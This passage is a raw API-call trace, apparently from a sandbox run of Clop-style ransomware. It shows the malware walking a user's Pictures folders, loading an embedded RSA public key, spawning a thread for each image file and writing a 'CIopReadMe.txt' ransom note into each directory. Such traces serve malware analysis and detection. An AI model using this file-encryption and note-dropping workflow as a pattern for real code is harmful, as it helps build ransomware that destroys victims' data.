returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0097.202] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0097.202] SetErrorMode (uMode=0x1) returned 0x1 [0097.202] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0097.202] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0097.202] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0097.202] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*" [0097.202] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x649078 [0097.202] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="7B iYIRm" [0097.202] lstrcpyW (in: lpString1=0x2dc7014, lpString2="7B iYIRm" | out: lpString1="7B iYIRm") returned="7B iYIRm" [0097.202] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0097.202] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0097.202] lstrcmpW (lpString1="4LAv.png", lpString2="..") returned 1 [0097.202] lstrcmpW (lpString1="4LAv.png", lpString2=".") returned 1 [0097.202] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned 44 [0097.202] Sleep (dwMilliseconds=0xd) [0097.216] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0097.216] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="4LAv.png" | out: lpString1="4LAv.png") returned="4LAv.png" [0097.216] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0097.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x510 [0097.216] SetErrorMode (uMode=0x1) returned 0x1 [0097.216] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\CIopReadMe.txt") returned 54 [0097.216] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0097.217] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0097.217] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0097.217] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0097.217] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0097.217] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0097.217] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0097.217] WriteFile (in: hFile=0x520, lpBuffer=0x5f9128*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc6e04, lpOverlapped=0x0 | out: lpBuffer=0x5f9128*, lpNumberOfBytesWritten=0x2dc6e04*=0x759, lpOverlapped=0x0) returned 1 [0097.218] CloseHandle (hObject=0x520) returned 1 [0097.218] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0097.218] lstrcmpW (lpString1="aClNMcka4 SH9Md3Hwo.png", lpString2="..") returned 1 [0097.218] lstrcmpW (lpString1="aClNMcka4 SH9Md3Hwo.png", lpString2=".") returned 1 [0097.218] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned 44 [0097.218] Sleep (dwMilliseconds=0xd) [0097.262] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0097.263] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="aClNMcka4 SH9Md3Hwo.png" | out: lpString1="aClNMcka4 SH9Md3Hwo.png") returned="aClNMcka4 SH9Md3Hwo.png" [0097.263] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0097.263] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x518 [0097.263] WaitForSingleObject (hHandle=0x518, dwMilliseconds=0xffffffff) returned 0x0 [0097.378] SetErrorMode (uMode=0x1) returned 0x1 [0097.378] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\CIopReadMe.txt") returned 54 [0097.378] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0097.378] CloseHandle (hObject=0x520) returned 1 [0097.378] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0097.378] lstrcmpW (lpString1="Qm paxELf.bmp", lpString2="..") returned 1 [0097.379] lstrcmpW (lpString1="Qm paxELf.bmp", lpString2=".") returned 1 [0097.379] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned 44 [0097.379] Sleep (dwMilliseconds=0xd) [0097.858] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0097.858] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="Qm paxELf.bmp" | out: lpString1="Qm paxELf.bmp") returned="Qm paxELf.bmp" [0097.858] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0097.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520 [0097.858] WaitForSingleObject (hHandle=0x520, dwMilliseconds=0xffffffff) returned 0x0 [0098.007] SetErrorMode (uMode=0x1) returned 0x1 [0098.007] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\CIopReadMe.txt") returned 54 [0098.007] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0098.007] CloseHandle (hObject=0x534) returned 1 [0098.007] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0098.007] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0098.007] lstrcmpW (lpString1="wGSFbii.jpg", lpString2="..") returned 1 [0098.007] lstrcmpW (lpString1="wGSFbii.jpg", lpString2=".") returned 1 [0098.007] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned 44 [0098.007] Sleep (dwMilliseconds=0xd) [0098.028] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.028] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="wGSFbii.jpg" | out: lpString1="wGSFbii.jpg") returned="wGSFbii.jpg" [0098.028] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0098.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x534 [0098.028] SetErrorMode (uMode=0x1) returned 0x1 [0098.028] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\CIopReadMe.txt") returned 54 [0098.029] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0098.029] CloseHandle (hObject=0x538) returned 1 [0098.029] FindNextFileW (in: hFindFile=0x649078, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0098.029] FindClose (in: hFindFile=0x649078 | out: hFindFile=0x649078) returned 1 [0098.029] FindClose (in: hFindFile=0x649078 | out: hFindFile=0x649078) returned 0 [0098.029] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0098.029] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*" [0098.029] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x6493f8 [0098.029] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="7B iYIRm" [0098.029] lstrcpyW (in: lpString1=0x2dc7014, lpString2="7B iYIRm" | out: lpString1="7B iYIRm") returned="7B iYIRm" [0098.029] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0098.029] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0098.029] FindNextFileW (in: hFindFile=0x6493f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0098.029] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0098.029] FindNextFileW (in: hFindFile=0x6493f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0098.029] FindNextFileW (in: hFindFile=0x6493f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0098.029] FindNextFileW (in: hFindFile=0x6493f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0098.029] FindNextFileW (in: hFindFile=0x6493f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0098.029] FindNextFileW (in: hFindFile=0x6493f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0098.029] lstrcmpW (lpString1="QVr-mzOnFHsqrr", lpString2="..") returned 1 [0098.029] lstrcmpW (lpString1="QVr-mzOnFHsqrr", lpString2=".") returned 1 [0098.030] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0098.030] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0098.030] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\", lpString2="QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0098.030] SetErrorMode (uMode=0x1) returned 0x1 [0098.030] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0098.030] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0098.030] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0098.030] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*" [0098.030] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x649178 [0098.030] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0098.030] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="QVr-mzOnFHsqrr" | out: lpString1="QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0098.030] FindNextFileW (in: hFindFile=0x649178, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0098.030] FindNextFileW (in: hFindFile=0x649178, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0098.030] FindNextFileW (in: hFindFile=0x649178, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0098.030] lstrcmpW (lpString1="jA0o4Ao7ru.jpg", lpString2="..") returned 1 [0098.030] lstrcmpW (lpString1="jA0o4Ao7ru.jpg", lpString2=".") returned 1 [0098.030] wsprintfW (in: param_1=0x2dc61c8, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned 59 [0098.030] Sleep (dwMilliseconds=0xd) [0098.075] lstrcpyA (in: lpString1=0x2dc5610, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.075] lstrcpyW (in: lpString1=0x2dc5b6e, lpString2="jA0o4Ao7ru.jpg" | out: lpString1="jA0o4Ao7ru.jpg") returned="jA0o4Ao7ru.jpg" [0098.075] lstrcpyW (in: lpString1=0x2dc576e, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0098.075] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc5610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x52c [0098.076] SetErrorMode (uMode=0x1) returned 0x1 [0098.076] wsprintfW (in: param_1=0x2dc51d4, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\CIopReadMe.txt") returned 69 [0098.076] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0098.076] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0098.076] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0098.076] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0098.076] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0098.076] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0098.076] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x548 [0098.076] WriteFile (in: hFile=0x548, lpBuffer=0x653bb8*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc51cc, lpOverlapped=0x0 | out: lpBuffer=0x653bb8*, lpNumberOfBytesWritten=0x2dc51cc*=0x759, lpOverlapped=0x0) returned 1 [0098.077] CloseHandle (hObject=0x548) returned 1 [0098.077] FindNextFileW (in: hFindFile=0x649178, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0098.077] FindNextFileW (in: hFindFile=0x649178, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0098.077] FindClose (in: hFindFile=0x649178 | out: hFindFile=0x649178) returned 1 [0098.077] FindClose (in: hFindFile=0x649178 | 